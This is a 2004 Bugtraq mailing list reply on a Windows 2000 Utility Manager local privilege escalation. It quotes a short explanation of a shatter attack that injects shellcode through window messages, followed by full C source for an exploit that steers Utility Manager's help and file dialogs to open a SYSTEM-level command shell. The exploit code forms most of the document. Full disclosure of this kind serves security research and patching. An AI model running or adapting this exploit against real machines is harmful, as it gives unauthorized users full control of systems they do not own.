Bugtraq mailing list archives

Re: Microsoft Window Utility Manager Local Elevation of Privileges


From: Cesar <cesarc56 () yahoo com>
Date: Thu, 15 Jul 2004 07:32:37 -0700 (PDT)

See attached ;)

Cesar.
--- Chris Paget <ivegotta () tombom co uk> wrote:
On Tue, 13 Jul 2004 16:00:33 -0400, you wrote:
...

This isn't quite right - on my system at least,
browsing for cmd.exe
in this way generates an error:
"The C:\WINNT\system32\cmd.exe file is not a Windows
Help file, or the
file is corrupted."

That said, the file dialog can be made to display a
ListView control
(display details rather than a list).  This ListView
control will
accept both WM_SETTEXT (to inject shellcode into the
caption of the
window) followed by LVM_SORTITEMS (which specifies
the address for a
sort function) to execute said code.  It is a valid
method for
arbitrary code execution as LocalSystem, but not
quite as simply as
Vivek makes out.

Chris

-- 
Chris Paget
ivegotta () tombom co uk



                
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//by Cesar Cerrudo  sqlsec>at<yahoo.com
//Local elevation of priviliges exploit for Windows 2K Utility Manager (second one!!!!)
//Gives you a shell with system privileges
//If you have problems try changing Sleep() values.

#include "stdio.h"
#include "windows.h"


int main(int argc, char* argv[])
{
        HWND lHandle, lHandle2;
        POINT point;
        char sText[]="%windir%\\system32\\cmd.ex?";

//  run utility manager
//      system("utilman.exe /start");
//      Sleep(500);

        lHandle=FindWindow(NULL, "Utility manager");   
        if (!lHandle) {
                printf("\nUsage :\nPress Win Key+U to launch Utility Manager and then run UtilManExploit2.exe\n");
                return 0;
        }

        PostMessage(lHandle,0x313,NULL,NULL); //=right click on the app button in the taskbar or Alt+Space Bar
        
        Sleep(100);

        SendMessage(lHandle,0x365,NULL,0x1); //send WM_COMMANDHELP  0x0365  lParam must be <>NULL 
        Sleep(300);
        
        SendMessage (FindWindow(NULL, "Windows Help"), WM_IME_KEYDOWN, VK_RETURN, 0);
        Sleep(500);


        // find open file dialog window
        lHandle = FindWindow("#32770","Open");

        // get input box handle
        lHandle2 = GetDlgItem(lHandle, 0x47C);
        Sleep(500);

        // set text to filter listview to display only cmd.exe
        SendMessage (lHandle2, WM_SETTEXT, 0, (LPARAM)sText);
        Sleep(800);

        // send return
        SendMessage (lHandle2, WM_IME_KEYDOWN, VK_RETURN, 0);

        //get navigation bar handle
        lHandle2 = GetDlgItem(lHandle, 0x4A0);
        
        //send tab
        SendMessage (lHandle2, WM_IME_KEYDOWN, VK_TAB, 0);
        Sleep(500);
        lHandle2 = FindWindowEx(lHandle,NULL,"SHELLDLL_DefView", NULL);
        //get list view handle
        lHandle2 = GetDlgItem(lHandle2, 0x1);

        SendMessage (lHandle2, WM_IME_KEYDOWN, 0x43, 0); // send "c" char
        SendMessage (lHandle2, WM_IME_KEYDOWN, 0x4D, 0); // send "m" char
        SendMessage (lHandle2, WM_IME_KEYDOWN, 0x44, 0); // send "d" char
        Sleep(500);

        //popup context menu
        PostMessage (lHandle2, WM_CONTEXTMENU, 0, 0);
        Sleep(1000);

        // get context menu handle
        point.x =10; point.y =30;
        lHandle2=WindowFromPoint(point);

        SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0); // move down in menu
        SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0); // move down in menu
        SendMessage (lHandle2, WM_KEYDOWN, VK_RETURN, 0); // send return

        SendMessage (lHandle, WM_CLOSE,0,0); // close open file dialog window
        Sleep(500);
        SendMessage (FindWindow(NULL, "Windows Help"), WM_CLOSE, 0, 0);// close open error window
        SendMessage (FindWindow(NULL, "Utility manager"), WM_CLOSE, 0, 0);// close utility manager
        return 0;
}


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